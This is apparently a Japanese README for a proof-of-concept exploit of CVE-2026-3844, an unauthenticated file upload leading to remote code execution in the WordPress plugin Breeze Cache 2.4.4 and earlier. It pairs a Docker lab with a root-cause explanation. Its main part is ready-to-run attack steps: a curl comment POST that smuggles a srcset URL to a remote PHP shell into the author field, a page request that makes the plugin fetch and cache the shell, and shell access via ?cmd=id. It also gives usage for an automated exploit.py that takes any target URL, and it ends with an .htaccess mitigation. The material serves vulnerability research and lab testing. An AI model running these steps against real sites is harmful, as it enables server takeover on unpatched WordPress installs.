
# CVE-2026-3844 の概念実証エクスプロイト Breeze Cache <= 2.4.4 における、認証不要の任意ファイルアップロードからリモートコード実行に至る脆弱性(CVE-2026-3844)の概念実証エクスプロイトです。Docker ラボと自動化されたエクスプロイトスクリプトが含まれています。
| フィールド | 値 |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — 危険なタイプのファイルの無制限アップロード |
| プラグイン | Breeze Cache by Cloudways |
| 影響を受けるバージョン | 2.4.4 以下の全バージョン |
| 修正バージョン | 2.4.5 (changeset 3511463) |
| インストール数 | 400,000以上のアクティブなWordPressインストール |
| 発見者 | Hung Nguyen (bashu) |
| 公開日 | 2026-04-23 |
inc/class-breeze-cache-cronjobs.php の fetch_gravatar_from_remote() 関数は、リモートURLをダウンロードし、URLの元のファイル名と拡張子を使用してウェブからアクセス可能なディレクトリに保存します。MIMEタイプの検証、拡張子のホワイトリスト、コンテンツの検査は一切行われません。
「Host Files Locally - Gravatars」設定が有効な場合、プラグインは breeze_replace_gravatar_image() を介してWordPressの get_avatar フィルターにフックします。この関数は正規表現を使用して、アバターHTMLの srcset および src 属性からURLを抽出します。攻撃者は、細工した著者名でコメントを投稿することで悪意のある srcset 属性を注入でき、プラグインが任意のPHPファイルをダウンロードしてキャッシュするように仕向けることができます。
欠落しているもの:
.php、.phtml、.phar すべて受け入れられる)攻撃者 WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | コメントが保存される
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar フィルターが発動
| | breeze_replace_gravatar_image()
| | srcset URL を正規表現で抽出
| | fetch_gravatar_from_remote() を呼び出し
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHPファイルの内容 |
| -----------------------------> |
| | 保存先:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP が www-data として実行
| uid=33(www-data) |
| <------------------------------------ |
このPoCには、自己完結型のDocker環境が含まれています:
requests(pip install requests)cd docker/
docker compose up -d --build
WordPressの初期化に約30秒待ちます。確認:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 期待値: Stable tag: 2.4.4
Dockerセットアップは自動的に以下を実行します:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
PAYLOAD_IP をペイロードコンテナのIPに置き換えます:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
期待されるレスポンス: 投稿ページへの HTTP 302 リダイレクト。
投稿ページにアクセスしてWordPressにコメントのアバターをレンダリングさせ、Breezeの get_avatar フィルターを発動させてペイロードをダウンロードさせます:
curl -s "http://localhost:8088/?p=1" > /dev/null
レンダリングされたHTMLには、Breezeが注入されたsrcsetを抽出し、ペイロードをキャッシュしたことが表示されます:
PHPペイロードはそのまま書き込まれ、www-data が所有者となります:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress ターゲットURL(必須)
-p, --payload アップロードするPHPペイロードのURL
--post-id コメントする特定の投稿ID
--timeout HTTPタイムアウト(秒)(デフォルト: 15)
--wait cronを待つ秒数(デフォルト: 12)
--check-only プラグインバージョンのみ確認し、悪用しない
cd docker/
docker compose down -v --remove-orphans
wp-content/cache/breeze-extra/gravatars/ の .htaccess に以下を追加:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # このファイル
docker/
Dockerfile # WordPress + Breeze 2.4.4 イメージ
docker-compose.yml # 完全なラボ(WP + MariaDB + ペイロードサーバー)
entrypoint-custom.sh # 脆弱な設定でWPを自動設定
poc/
exploit.py # 自動化されたPoC悪用スクリプト
validate.sh # エンドツーエンドのDocker検証ハーネス
payloads/
shell.php # 無害なPoCペイロード(echo + id)
screenshots/ # SVGターミナルスクリーンショット(Charm freeze)
validation/ # RAPTOR悪用可能性検証出力
この概念実証は、認可されたセキュリティテスト、教育、および防御的な研究のみを目的として提供されています。所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法です。